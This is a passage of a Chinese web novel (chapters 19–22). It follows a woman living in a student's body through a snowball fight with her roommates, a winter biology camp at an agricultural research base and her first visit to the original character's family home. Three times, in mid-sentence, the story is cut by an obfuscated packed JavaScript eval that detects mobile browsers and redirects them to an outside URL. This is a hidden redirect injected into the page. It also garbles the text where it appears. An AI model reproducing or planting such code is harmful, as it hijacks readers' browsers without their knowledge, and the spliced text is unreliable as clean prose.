她用手拢了拢,从枕头底下摸出头绳扎了个马尾。 张文慧听到动静,转头看了她一眼,“醒了?郑圆圆买早饭去了,你要不要吃点什么?” “都行。” “她说买包子,给我们都带两个。” 谢予青点点头,套上毛衣下床。 她去卫生间洗漱,回来的时候郑圆圆已经回来了,拎着一袋包子。 “雪好大。”郑圆圆把袋子放在桌上,“路上都走不了了。” 谢予青拿了个包子咬了一口,白菜猪肉馅。 她走到窗户前,拉开窗帘,外面白茫茫一片。 中午大家都醒了。 唐笑从被窝里探出头,头发像鸟窝,“吃什么?” “这么冷的天,吃火锅。”郑圆圆说。 “火锅火锅。”张文慧关了台灯。 谢予青也同意。 四个人开始收拾,穿衣服围围巾戴手套。 唐笑翻出一顶红色毛线帽,戴上在镜子前照了照,“好看吗?” “像个喜气洋洋的圣诞老人。”郑圆圆说。 唐笑笑着白她一眼,没摘。 19. 第 19 章 四个人出了宿舍楼。 外面的雪更厚了,踩下去没过了鞋面,发出咯吱咯吱的声音。 树枝上挂满了雪,风一吹,簌簌往下落,谢予青缩着脖子,把手插进口袋里。 “去哪家?”张文慧问。 “后门那家重庆火锅,上次吃的那个。”唐笑说。 “太远了,校门口那家就行。”郑圆圆说。 几个人边走边讨论,谢予青走在最边上,听着她们说话。 走到教学楼拐角的地方,前面是一片空地,平时没什么人经过,现在覆盖了一层厚厚的雪,完整平整,没有人踩过。 唐笑蹲下来,抓了一把雪,在手里捏了捏,捏成一个球。 她站起来,一脸坏笑地瞄准郑圆圆,扔了出去。 雪球砸在郑圆圆后背上,散开,碎雪落了一地。 郑圆圆尖叫一声,蹲下来也开始捏雪球,张文慧笑着躲到一边,唐笑又捏了一个,追着郑圆圆跑。 谢予青站在一旁,看着她们闹。 唐笑一个雪球扔歪了,差点砸到路过的同学,那人回头看了一眼,没说什么。 “谢予青你愣着干嘛!”郑圆圆喊她,“帮我打唐笑!” 谢予青蹲下来,抓了一把雪,雪很松,捏紧了成一个硬球,她站起来,瞄准唐笑。 唐笑躲到郑圆圆身后,谢予青换了目标,扔向张文慧。 张文慧没躲,被砸中肩膀,“啊”了一声,笑着蹲下去抓雪。 四个人在空地上你追我赶,雪球飞来飞去,谁都没砸准几次,谢予青手里捏了一个雪球,转身找目标,她看到唐笑站得不远,于是对着她扔了过去。 谁知雪球脱手的一瞬间,唐笑走开了。 一个人从教学楼拐角走过来。 黑色大衣,系着扣子,围巾围了好几圈,把半个脸都遮住了,头上落了一层雪,没有打伞。 是夏听北。 谢予青手里的雪球已经扔出去了。 她没来得及收手。 雪球在空中划了一道圆弧,不偏不倚打中夏听北的肩膀,碎雪溅开,有一些落在他脖子上,他的身子缩了一下。 谢予青愣在原地。 夏听北也愣在原地。 他停下脚步,伸手摸了摸被砸中的地方,手指碰到碎雪,转过头看着谢予青。 两个人对视了两秒。 雪还在下,郑圆圆张文慧都停了手,站在后面看着。 “对不起。”谢予青有点尴尬。 夏听北看着她,没说话。 他的围巾上沾着碎雪,睫毛上也沾了一点,眨了眨眼,雪化了。 “谢予青?”身后传来一个声音。 苏昭昭从教学楼方向走过来,撑着一把透明雨伞,穿着白色羽绒服,围着浅粉色围巾。 她走到夏听北旁边,看了看夏听北肩膀上的雪。 “你们在打雪仗?”苏昭昭笑着看向谢予青,声音温柔。 谢予青看了苏昭昭一眼,脸上多余的表情收起来,只剩下礼貌。 “走吧。”她转身对唐笑说。 唐笑在几个人脸上来回看了一遍,没吭声,跟着走了,郑圆圆和张文慧也跟上。四个人走出空地,拐到主干道上,没有再回头。 走出去一段路,唐笑小声说:“苏昭昭怎么跟他在一起?” “不知道。”谢予青说。 唐笑犹豫着说:“你不是说不喜欢他吗?” “是。”谢予青面无表情。 “那你为什么……” “我怎么了?”谢予青板着脸看她。 唐笑看了看她的表情,没再问。 雪越下越大,风把雪吹到脸上,凉飕飕的。 谢予青把围巾往上拉了拉,遮住半张脸,加快了脚步。 校门口的火锅店很暖和,玻璃窗全蒙上了白雾。 四个人脱了外套,坐到靠里的位置,锅底点了鸳鸯,菜点了羊肉牛肉虾滑宽粉金针菇,每人一杯热柠檬茶。 等菜的时候,唐笑先开口,“刚才那个苏昭昭,大过年的跟夏听北在一起,什么意思?” “不知道。”谢予青说。 “她不是不知道你们分手了吗?那她还不避嫌?”唐笑对此也有些不满。 郑圆圆插了一句:“说不定人家本来就有事,你们想多了。” 张文慧也说,“夏听北跟苏昭昭从小一起长大,元旦一起过也正常。” 唐笑看了谢予青一眼,“你脸色不太好。” “冷风吹的。”谢予青端起柠檬水喝了一口。 汤底端上来了,菜也端上来,几个人七手八脚把菜下进去。 谢予青用筷子搅了搅碗里的调料,麻酱韭菜花腐乳,搅匀了,颜色发灰。 “你们昨天晚上演出怎么样?”唐笑换了个话题。 “挺好的。”谢予青说。 “听说乾珩学长的独角戏特别好看,好多人都在说。” “嗯。” “你跟他一起吃的饭?” “嗯。” “在哪儿吃的?” “后门那条街上,火锅。” 唐笑张了张嘴,郑圆圆在旁边接话:“乾珩学长人挺好的,长得帅脾气也好。” “对。”张文慧也说。 谢予青把涮好的羊肉夹起来放进碗里。 “你们是不是有什么进展?”唐笑试探地问。 “没有。”谢予青把羊肉送进嘴里,“就是吃个饭。” 唐笑盯着她看了两秒,笑了笑。 锅里的福袋浮起来了,郑圆圆捞起来一人分了一个。 谢予青咬开福袋,里面包着鱼籽,一粒一粒的在嘴里爆开,很鲜。 “下午干嘛?”唐笑问。 “去市区吧,万达那边逛逛。”郑圆圆说。 “行。” “谢予青你去不去?”唐笑问。 “去。” 吃完火锅,四个人在校门口打了一辆车。 雪还没停,雨刷器在挡风玻璃上左右摇摆,司机开得很慢。 车里的暖气开得很大,谢予青靠着车窗,看着窗外白茫茫的街道慢慢往后退。 雪把一切都盖住了,屋顶,树梢,路边的垃圾桶,全变成了白色。行人撑着伞艰难地走着,伞面上积了厚厚一层雪。 偶尔有人骑车过去,车轮在雪地上压出两道深深的痕迹。 唐笑坐在中间,跟郑圆圆聊新出的电视剧。 张文慧靠着另一边的车窗,闭着眼睛,不知道睡着了还是在想事情。 谢予青听了一会儿她们的聊天,剧情没太听进去,只听到唐笑说了一句“男主好帅”,郑圆圆回了一句“男二更帅”。 商场到了,司机把车停在门口,四个人下了车。 万达广场门口的广场扫过雪,但新的雪又铺了一层。 商场里暖烘烘的,圣诞节的装饰还没撤掉,橱窗上还贴着圣诞老人的贴纸,门头上挂着红绿相间的彩带,广播里放着流行歌,混在各种声音里,听不太清歌词。 “先去哪?”郑圆圆问。 “去逛衣服,有家店上了新款。”唐笑拉着她往楼上走。 谢予青跟上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17519645|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,张文慧跟在后面。 电梯上站满了人,大家挤在一起,谢予青被挤到最边上,扶着扶手往下看。一楼中庭有人在搞活动,搭了一个小舞台,主持人拿着话筒在说什么,下面围了一圈人。 二楼是服装区,唐笑一头扎进她熟悉的那家店,在货架上翻来翻去。她拿了一件白色毛衣在身上比了比,“好看吗?” “好看。”郑圆圆说。 唐笑又拿了一件黑色卫衣,“这个呢?” “也不错。” 唐笑把两件都塞给谢予青,“你帮我拿着,我再去看看。” 谢予青抱着两件衣服站在旁边,等唐笑试穿。 唐笑进了试衣间,郑圆圆和张文慧在外面翻其他衣服。 谢予青站在镜子前面,看了一眼自己,脸色还好,不算难看,嘴唇还挺红润的。 唐笑从试衣间出来,穿着白色毛衣在她面前转了一圈,“怎么样?” “好看。”谢予青说。 “买。”唐笑去结账了。 四个人从店里出来,又逛了好几家店。谢予青什么都没买,唐笑买了毛衣和一双鞋,郑圆圆买了一条围巾,张文慧买了一支护手霜。 逛累了,四个人去负一楼吃东西。 奶茶店门口排了长队,唐笑去排队,谢予青找了个空桌子坐下来等,郑圆圆和张文慧去旁边买小蛋糕。 谢予青坐了一会儿,掏出手机看了一眼。 没有消息。 她把手机扣在桌上,看着对面糖炒栗子的摊位发呆。 老板戴着口罩,用铁铲在大锅里翻炒,栗子的香味混着焦糖的味道飘过来,热乎乎的。 唐笑端着四杯奶茶回来,分给大家。 谢予青拿的是芋泥波波,吸了一口,味道很不错。 “明天干嘛?”唐笑问。 “躺一天。”郑圆圆说。 “我也是。”张文慧附和。 谢予青没回答,又吸了一口奶茶,嚼了嚼里面的波波,QQ弹弹。 逛到天黑,四个人打了车回学校。 雪停了,地上的雪被过往车辆碾压成了灰黑色的雪泥,溅起来脏兮兮的。 铁门只开了小门,四个人一个一个侧身挤进去。 主干道上的雪被清理过,中间铲出了一条窄窄的路,两边堆着雪堆。 路灯亮着,橘黄色的光照在雪上,雪变成了淡淡的金色。 宿舍楼下的空地上有几个男生在堆雪人,雪人的身子已经堆好了,缺一个脑袋。 其中一个男生抱着一个雪球往上面放,放歪了,雪人的脑袋滚下来砸在地上摔碎了,几个人笑成一团。 谢予青看了一眼,走进宿舍楼。 关灯以后,宿舍安静下来。 谢予青突然想起吃火锅的时候,唐笑问的那句话:“你不是说不喜欢他吗?”她说“是”。 唐笑又问:“那你为什么……” 为什么什么?为什么看到苏昭昭跟他在一起就走?为什么脸色不好?为什么一路上不说话? 因为原主。 谢予青想了半天,给自己找到了答案。 原主的灵魂还在这具身体里,原主喜欢夏听北,原主看到苏昭昭会不舒服。跟她谢予青没关系。 她不喜欢夏听北。 夏听北比她小十岁。一个十八岁的男生,幼稚,固执,话都说不明白,她谢予青二十八了,不会喜欢一个十八岁的小孩。 至于乾珩。 乾珩也才二十岁,二十岁的大三学生,比她小八岁,还是小。 她谁都不该喜欢。 20. 第 20 章 她来这里是为了读书,做实验,搞研究,不是谈恋爱。 谢予青翻了个身。 枕头下面的手机震动起来,她犹豫了一下,还是拿了出来。 乾珩发了一条消息:今天干嘛了? 谢予青回:去市区逛了逛。 乾珩:好玩吗? 谢予青:还行,人很多。 乾珩:下雪天还出去? 谢予青:室友想去。 乾珩:你呢?你想去吗? 这条消息让谢予青愣了一下。 她想不想去?其实不太想。 她想窝在宿舍看书,或者去实验室待着。但她还是去了,因为室友叫她,她不好意思拒绝。 她回了一个:也想。 乾珩:那就好。 谢予青看着这两条消息,微微有些愣神。 乾珩发了一个月亮的表情。 谢予青把手机放回枕头下面,慢慢闭上眼睛。 她在黑暗里想了一会儿,想到了自己看到苏昭昭的时候,心里那一瞬间的堵塞感。 那堵塞感不属于她。 属于原主。 一定是的。 谢予青把被子蒙过头顶。 元旦三天假,学校空空荡荡,连食堂都只开了两个窗口。 第二天谢予青窝在宿舍看了一天书,生物化学分子生物学细胞生物学,一本一本翻过去,笔记做了几十页。 唐笑说她有病,放了假还学习,谢予青没理她。 之前没机会学,现在她一天都不想浪费。 第三天她去了实验室。 整栋实验楼就她一个人,她推开门,打开灯,坐到显微镜前。 标本是上次课题组的材料,她借了一份来练手。 调焦距,换倍数,记录,重复,调焦距,换倍数,记录。手上做着这些,脑子就不会想别的事情。 假期结束,学校恢复了热闹。 食堂里人挤人,图书馆一座难求,主干道上到处是赶着去上课的学生。 谢予青又开始了寻常的生活,宿舍,教室,实验室,图书馆。偶尔在食堂遇到夏听北,远远的,隔着很多桌子和人,看不清脸上的表情。 有时候他会看过来,目光穿过人群落在她身上。 谢予青感觉到了,不抬头,继续吃饭。 有时候在走廊上擦肩而过,两个人谁也不看谁。 有一次在学校后门那条街上遇到乾珩,乾珩跟同学在一起,看到谢予青,笑着打了个招呼。 谢予青也打了个招呼,两个人站在原地聊了几句。 日子就这么一天一天过。 转眼到了寒假。 期末考试的最后一门结束,谢予青从考场出来。 教学楼走廊上挤满了人,谢予青绕过人群,往宿舍走。 地上还有残雪,冻硬了,踩上去咔咔响。 唐笑从后面追上来,“你寒假怎么安排?” “回家。”谢予青说。 “你家在哪来着?” “临市。” “那不远,坐大巴两个小时?”唐笑搓了搓手,“我家远,火车要坐八个钟头。” 谢予青笑了下,没接话,唐笑又说:“回去之前咱们去吃顿好的?后门那家烤肉,我请你。” “行。” 两个人走到宿舍楼下,墙上贴着放假通知,大红纸黑字,写着寒假期间宿舍楼封闭管理的时间安排。 谢予青看了一遍,记在心里。 回到宿舍,郑圆圆已经在收拾行李了。 床上摊了一堆衣服,她一件一件叠好塞进箱子,箱子满了,蹲下去压了压,拉链拉不上,又打开拿了两件出来。 “你什么时候走?”张文慧问郑圆圆。 “明天一早。” “我也是明天。” 唐笑爬到自己床上,躺下来伸了个懒腰,“我后天,还能再赖一天。” 谢予青坐到自己的椅子上,打开手机通讯录,翻到妈妈两个字。 她盯着这两个字,有些愣怔。 来这个世界半年了,跟原主父母几乎没通过电话。 刚开始那几天她翻过原主的手机,通讯记录往下划好几页,没有“爸爸”“妈妈”的来电。 微信倒是有,每周一次,周六晚上,内容每次都差不多:钱收到了吗?好好吃饭。 原主回一个字:嗯。 没有多余的话。 书里说,原主父母做生意,很忙。 谢予青放下手机,从抽屉里翻出一个笔记本。 最后一页她记了几条原主的基本信息,生日,血型,家庭住址,父母的手机号。 她看着那行地址,临市的一个小区,地图上搜过,偏高档的楼盘。 她没见过原主父母的长相,不知道他们叫什么名字,不知道他们是做什么生意的,不知道他们说话的语气和习惯。 原著里根本没提过。 如果回去,面对面坐在一起吃饭,她会不会露馅? 谢予青把笔记本合上,放回抽屉。 手机震动,班群有人发了消息。 一群人在聊寒假去哪玩,还艾特了全体。谢予青没参与,把手机放在桌上,去卫生间洗了把脸。 镜子里的自己跟半年前没什么变化,皮肤白,眼睛亮,头发又长了一点。 她盯着镜子里的人,试了一个表情,笑了一下。 那个笑容看起来没什么问题,正常的,自然的。 又试了一个,皱眉,看起来也正常,再试一个惊讶的表情,嘴巴微张,眼睛瞪大,也行。 外表看不出来,说话呢? 她想了想,唐笑她们完全没看出来有什么不一样的,那就说明没问题。 原主平时话不多,在宿舍里比较安静,跟父母联系少也符合这个性格。 但如果回去,坐在家里,跟父母面对面待好几天,那些细枝末节的东西,她能应付吗? 谢予青关了水龙头,用毛巾擦了脸,回到宿舍。 唐笑已经从上铺下来了,蹲在衣柜前翻东西,嘴里念叨着“这件带回去这件不带”。 郑圆圆的箱子终于拉上了,她坐在箱子上喘气。 “你们回去过年有压力吗?”谢予青突然问了一句。 唐笑转头看她,“什么压力?” “就是……家里人问这问那,成绩啊,谈恋爱啊。” “我妈肯定会问。”唐笑撇撇嘴,“我打算糊弄过去。” 郑圆圆从箱子上站起来,拍了拍裤子,“我姑姑过年要来,每次来都问东问西,烦死了。” 张文慧推了推眼镜,“我妈只关心我吃胖了没有。” 几个人一起笑了。 下午,她去图书馆还书。 图书馆的人少了大半,平时坐满的自习室空荡荡的,只有角落里零星坐着几个人,大概也是不想回家或者回不去家的。 谢予青把书放进还书口,机器扫描了一下,滴一声,还书成功。 她转身往外走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17519959|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在楼梯上遇到了张教授。 张教授穿一件深蓝色棉袄,围着围巾,手里拎着一个帆布包,看到谢予青,他停下脚步。 “小谢,放假了还没走?” “还没。”谢予青站在楼梯上,比张教授高了两级台阶,她稍稍弯了弯腰。 “正好,我有个事想问你。”张教授从包里掏出一张折叠的纸,展开来递给她,“学校组织了一个冬令营,跟生物有关的,去省农科院的实验基地待七天,食宿全包,名额不多,院里给了我们系两个,我想推荐你去。” 谢予青接过那张纸,上面印着“寒假生物科学冬令营”几个字。 下面写着活动内容:实验操作、田间考察、专家讲座、课题讨论。地点在城郊的农科院实验基地,时间从一月二十号到一月二十七号。 “这个冬令营含金量挺高。”张教授说,“农科院的几位研究员亲自带,机会难得,你考虑一下,明天之前告诉我。” 谢予青捏着那张纸,心跳加速了。 “不用考虑了。”她说,“我去。” 张教授很欣慰地笑了,“我就知道你会这么说,行,你去网站上下载报名表,明天填好交到我办公室。” 他收起那张纸,重新叠好放回包里,转身下楼了。 谢予青站在楼梯上,手心出了一层薄汗。 冬令营。 七天。 这就意味着,不用那么早回家了。 她快步走下楼梯,出了图书馆,风迎面扑来,冷得她缩了缩脖子。 她掏出手机,翻到“妈妈”的聊天记录。 谢予青站在图书馆门口的台阶上,打字:妈,学校有个冬令营,生物相关的,我想参加,一月二十到二十七号,大年三十之前回家。 发出去。 她盯着屏幕,等着。 对方正在输入。 谢予青屏住呼吸。 一条消息发过来了:好的,去吧,你爸和我年底忙,家里也没人照顾你,大年三十之前回来就行。 又来一条:钱够不够? 谢予青回:够了。 对方回了一个表情:一朵花。 谢予青把手机揣进兜里,长长呼出一口气。 寒假就这么开始了。 宿舍里剩下谢予青一个人。 暖气温度比平时低了一些,大概学校为了省能源调低了温度。她裹着被子坐在床上,面前支了一个小桌板,桌上摊着课本和笔记本。 冬令营还有三天才出发,这三天她打算把一本专业书看完。 走廊上时不时有人走动,行李箱的轮子碾过地面,咕噜咕噜响,谢予青停一会儿,安静了,继续看书。 食堂只开了一个窗口,菜也比平时少。 晚上一个人在宿舍,安静得能听到暖气管里的水流声。 她泡了杯茶,坐在窗边看外面。 校园空荡荡的,路灯亮着,光秃秃的树影投在地上,风一吹,影子晃了晃。 偶尔有一个人走过,裹得严严实实,走得很快。 手机震动。 唐笑发了条消息:到家了,我妈做了红烧肉,吃撑了。 谢予青回:我也想吃。 唐笑:你还在学校? 谢予青:嗯,后天参加一个冬令营。 唐笑:什么冬令营? 谢予青把张教授说的那个活动简单介绍了一下。 唐笑发了一串感叹号,说你好卷,寒假都不闲着,谢予青笑了笑,放下手机。 21. 第 21 章 窗外又下雪了。 雪不大,细细的,路灯的光把雪照成橘黄色,雪花落下来的样子很慢,慢慢的,慢慢的,落到地上就不见了。 出发那天,雪停了。 谢予青起了个大早,把行李收拾好。 一个双肩包,装了几件换洗衣服和洗漱用品,一个手提袋,装了几本专业书。她检查了一遍宿舍的窗户和电源,带上门,下楼。 走到校门口,一辆中巴车停在那里,车身上印着学校的名字。车上已经坐了几个人,谢予青上了车,找了个靠窗的位置坐下。 “你是哪个学院的?” 旁边的男生转头问她。 “生科院,大一。” “我也是生科院的,大二。”男生伸出手,“高鹏。” 谢予青跟他握了一下手,“谢予青。” 高鹏点点头,“张教授跟我提过你,说你特别用功。” 谢予青不好意思地笑了笑。 陆陆续续又上来几个人,一共十二个,有本科生有研究生,大部分不认识。一个戴眼镜的中年男人最后上车,站在过道中央,做了自我介绍。 “我是这次冬令营的带队老师,姓王,你们叫我王老师就行,大家先休息,到了再说。” 车开了。 出了市区,路边的建筑越来越稀疏,取而代之的是农田和树林。雪覆盖了一切,白白的一片,偶尔露出一截麦苗的绿尖尖。 田埂上的树光秃秃的,电线杆一根一根往后倒。 一个半小时后,车拐进一条小路,两边是笔直的白杨树,树梢上挂着雪。 路的尽头是一扇铁门,门口挂着一块牌子:省农业科学院实验基地。 车停进去。 谢予青下了车,深吸一口气。 空气清冷,夹杂着一股泥土和干草的味道。 基地里几栋灰色的楼房,整整齐齐排列着。 操场很大,停着几台农机,远处是大片的试验田,雪下面应该种着冬小麦。 王老师把他们带到宿舍楼。 两人一间,谢予青跟一个研二的学姐住一起。 学姐姓刘,个子不高,说话干脆利落,看到谢予青的行李,问了一句“你才大一?”谢予青点点头。学姐把行李放到床位上,说了一句“有事叫我”,就出去了。 谢予青铺好床,站在窗户前往外看。 试验田一直延伸到远山脚下,雪把一切都连成了一片白。几只麻雀在雪地上跳来跳去,留下一串细小的脚印。阳光照在雪上,亮得她眯起眼睛。 下午,冬令营开营。 王老师带着他们参观了基地的实验室。一排排仪器,显微镜离心机PCR仪凝胶成像系统,比学校的实验室设备齐全。 谢予青走在最后面,每个房间都看得很仔细。 农科院的一位研究员给他们做了第一场讲座,讲的是作物遗传育种,幻灯片很专业,内容扎实。 谢予青拿出笔记本,开始记。 旁边的刘学姐看了她一眼,小声说:“你记笔记?” “嗯。” “大一就这么认真。” 谢予青没解释,继续记。 讲座结束,天已经黑了。 食堂在基地的另一头,一群人走过去,冷风灌进领口,谢予青拉了拉围巾。食堂不大,菜是自助的,四菜一汤,味道比学校食堂好。 吃饭的时候,高鹏端着盘子坐到她对面。 “明天上午去试验田,下午做实验。” “什么实验?” “DNA提取,从植物叶片里。”高鹏夹了一筷子青菜,“农科院的人带队,咱们就跟着做。” 谢予青点点头。 “你以后想搞科研?”高鹏问。 “想。” “家里支持吗?” 谢予青愣了一下,她想说“不知道”,因为原主的父母她没见过。 不过她跟对方又不熟,没必要说太多。 她点了点头,“支持。” 晚上回到宿舍,刘学姐在看书,两个人打了声招呼。 谢予青洗漱完,坐到床上,掏出手机。 乾珩发了一条消息:到家了吗? 谢予青回:没回家,参加学校的冬令营了。 乾珩:什么冬令营? 谢予青:生物相关的,在农科院的实验基地,七天。 乾珩:听起来很有意思。 谢予青:嗯,今天听了讲座,明天去试验田。 乾珩:外面冷,多穿点。 谢予青:知道了。 谢予青等了一会儿,对方没有再发消息来。 她把手机放到枕头边,躺下来。 冬令营的日子很规律。 早上七点起床,七点半早饭,八点集合。 上午要么在试验田,要么在实验室。 午饭,午休,下午继续。晚上有时候有讲座,有时候是自由讨论。 十点熄灯。 第一天去试验田。 雪还没化完,田埂上泥泞不堪。 谢予青穿着从基地借来的胶鞋,一脚踩进泥里,胶鞋陷进去半寸。试验田被分成很多小块,每块田头插着一个白色塑料牌,上面写着编号和品种名称。 带队的研究员姓林,四十多岁,戴一顶旧棒球帽,讲起话来中气十足。 “这片是小麦种质资源圃,种了三百多个品种,你们看到的每一行,都是一个不同的品种。” 谢予青蹲下来,仔细观察了一株小麦的叶片。 叶子边缘有一层细密的绒毛,颜色比普通小麦深一些,她掏出手机拍了一张照片,又在笔记本上记下了编号。 “有同学注意到这行的叶片颜色了吗?”林研究员指了指谢予青正看着的那一株,“这个品种抗旱性很强,叶片表面蜡质层比普通品种厚,能减少水分蒸发。” 谢予青用手摸了摸叶片,确实是厚的,滑的,跟旁边那行的触感不一样。 林研究员带他们在田里走了一个多小时,走到最后,太阳出来了,照在身上暖和了一点。 谢予青的胶鞋上糊了一圈泥巴,裤腿也沾了泥点。 下午,实验室。 DNA提取。 刘学姐跟她一组。 两个人在操作台前,按照步骤来。 称重,研磨,加提取液,水浴,离心。谢予青做得很仔细,每一个步骤都确认两遍才往下做。 刘学姐看着她操作,评价了一句:“手稳。” “谢谢。” 离心机停下来,她小心取出离心管,看到管底有一层白色沉淀。 DNA。 谢予青端详着那管沉淀,嘴角翘起来。 最后一天,冬令营安排了课题汇报。 十二个人分了四组,每组做一个题目。 谢予青跟高鹏和刘学姐一组,题目是“不同施肥处理对小麦苗期生长的影响”。 他们在试验田里采集了数据,在实验室里做了分析,整理成了一份简单的报告。 高鹏负责做幻灯片,刘学姐负责汇报,谢予青负责准备可能被问到的问题。 汇报那天,三个人的配合默契。 谢予青站在投影幕旁边,专家问了一个实验设计的问题,谢予青回答了,条理清晰,数据准确。 提问结束,台下的林研究员带头鼓掌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522259|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闭营仪式上,王老师做了一个简短的总结。 冬令营正式结束了,第二天早上坐车返校。 晚上,谢予青一个人走到试验田边上。 月光照在雪地上,亮得能看清远处的树影。田里的麦苗在雪下面睡着,安静,沉默,一整个冬天都在积蓄力量,等到春天才发力。 她站了一会儿,冷风从田野上吹过来,她浑身哆嗦了一下。 手机震动。 唐笑发了一条消息:冬令营结束了没? 谢予青回:明天回学校。 唐笑:那你什么时候回家? 谢予青想了想。 大年三十是二月十一号,还有一个多星期,在学校待几天,年前回去。 谢予青:过几天。 唐笑:早点回,别赶在年三十路上堵车。 谢予青:嗯。 她把手机揣回兜里,转身往回走。 宿舍楼的灯亮着几扇窗户,在空旷的基地里像几颗遥相对望的星星。走了几步,她停下来,回头看。 试验田安安静静地铺展在月光下,远山影影绰绰。 她又给原主妈妈发了一条消息:冬令营结束了,我过几天回家。 对方很快回了:好,你爸和我二十九才放假,你回来先自己弄点吃的。 谢予青:好。 对方转账两千块。 看着那个数字,谢予青愣了一下。 距离上次打钱才两周,又转了两千,原主父母确实忙,但钱上从没亏待过孩子。 她点了收款,说了一声谢谢,对方回了一个“嗯”。 谢予青握着手机,站在雪地里,站了好一会儿。 第二天一早,中巴车来接他们。 谢予青把行李装上车,跟刘学姐和高鹏道别。 几个人加了微信。 车上很安静,大多数人都在补觉。 谢予青靠着车窗,看着窗外慢慢倒退的田野,雪比来时化了一些,露出了田埂上枯黄的草根,几只喜鹊在田里跳来跳去,黑白两色在雪地里很显眼。 回到学校,校园里更空了。 宿舍楼里只剩零星几个人,走廊上听不到人声。 谢予青把行李放好,去食堂吃了午饭,食堂的阿姨看到她,说了一句“还没回家啊”,谢予青笑笑说快了。 日子过得很慢,也很快。 她在宿舍看了三天书,把那本《分子克隆》啃了大半。 第四天,她去市里给原主父母买了礼物,烟给爸爸,丝巾给妈妈,包装好,塞进背包。 第五天,收拾行李。 衣服叠整齐,洗漱用品装在密封袋里,课本带了两本,路上看。 学校门口坐大巴,两个小时车程。 谢予青靠着车窗,看着城市的高楼慢慢变矮,变成乡镇的平房,变成农田和树林。 公路两侧的行道树光秃秃的,枝丫像叉子一样岔开。车子经过一个镇子,路边摆着卖春联和灯笼的摊位,红通通一片,年味很浓了。 临市不大,大巴停在一个老旧的客运站。 谢予青下了车,拉着行李箱站在客运站门口。 地图上显示,从客运站到原主家的小区,坐公交车一个小时,打车二十分钟。她叫了一辆网约车,等了五分钟,车来了。 司机沉默寡言,车里飘着一股车载香薰的味道。 车开过几条街,路两边的建筑越来越新。 谢予青的心也越来越紧张。 司机停在一个大门前,谢予青往里边看去,可以去出小区里面绿化很好,冬天的树虽然秃了,但能猜出春天应该很好看。 谢予青付了钱,下了车。 22. 第 22 章 走到原主家楼下,她仰头看着这栋十八层的楼房。 原主家在十二楼。 她深吸了一口气,强制压下紧张,掏出门禁卡,刷卡进楼,坐电梯。 十二楼到了,电梯门打开,走廊里铺着米色地砖,两户一梯。 谢予青走到左边那户门前,掏出钥匙。 原主把钥匙和门禁都放在宿舍的抽屉里,她之前就准备好了。 钥匙插进锁孔,拧了一下,门开了。 走进去,她站在玄关处四下环顾着。 玄关柜是胡桃木的,轻法式风格,看着一点都不像十年前的审美,很漂亮。 再往前看是客厅,条纹布艺沙发,茶几上摆着一套茶具,电视柜上放着一家人的合照。 谢予青从鞋柜里拿出一双浅粉色兔子头的毛拖鞋,心想这应该就是原主的了。 试了一下,刚刚好,她放心地穿上,把鞋子放进鞋柜,慢慢进屋。 她走到电视柜前,看那张照片。 照片里三个人,中间是一个女孩,穿着校服,扎着马尾,微微笑着,旁边是一对中年男女,男人微胖,穿西装,女人烫了卷发,穿红色连衣裙,长得挺漂亮。 谢予青看着那张照片,发了好一会儿呆。 这就是原主的父母了。 依然不知道名字,不过也没关系,反正她也不会喊名字。 屋里很安静,暖气开着,温度适宜。 她把外套脱了挂在门口,继续慢慢在屋里逛着。 厨房里锅碗瓢盆干干净净,冰箱里只有几个鸡蛋和一把青菜,保鲜层有一盒牛奶。 阳台上有几盆绿植,太久没浇水,叶子蔫了。 这是一个三室一厅的格局,不算大,套内估计也就90方。 屋里东西不多,没有乱七八糟的杂物,显得干干净净的,但是拿手摸一下,一手灰,可见很久没人打扫了。 墙上挂着几幅装饰画,风格统一,大概是原主妈妈挑的。 还有一个小书房,一张胡桃木大书桌,桌上只有一个台灯。 书柜里有一些书,大多是商业类的,《马云传》《乔布斯传》《从零到一》。 谢予青走到原主的房间前,推开门。 房间也不大,家具齐全,床,书桌,衣柜,书架,总体是简洁的白色调。 床上没有铺四件套,露出床垫,上边铺了一层隔脏垫。 被芯叠好放在一边,上边是同样叠好的四件套。 大概是原主妈妈怕提前铺好会落灰。 书桌上摆着一盏台灯,一个笔筒,几本高中的课本,还有一个台式电脑。书架上的书大多是教辅材料,五年高考三年模拟,英语词汇手册。 她坐在书桌前,拉开抽屉。 里面有一些小东西,发卡,贴纸,几封信。 信没有封口,她抽出来看了一眼,是高中同学写的,内容很平常,考试加油,毕业后常联系。 她看完,把信放回去,关上抽屉。 这就是原主生活了十几年的地方。一个普通的高中女生的房间,安静,整洁,干净得没有太多痕迹。 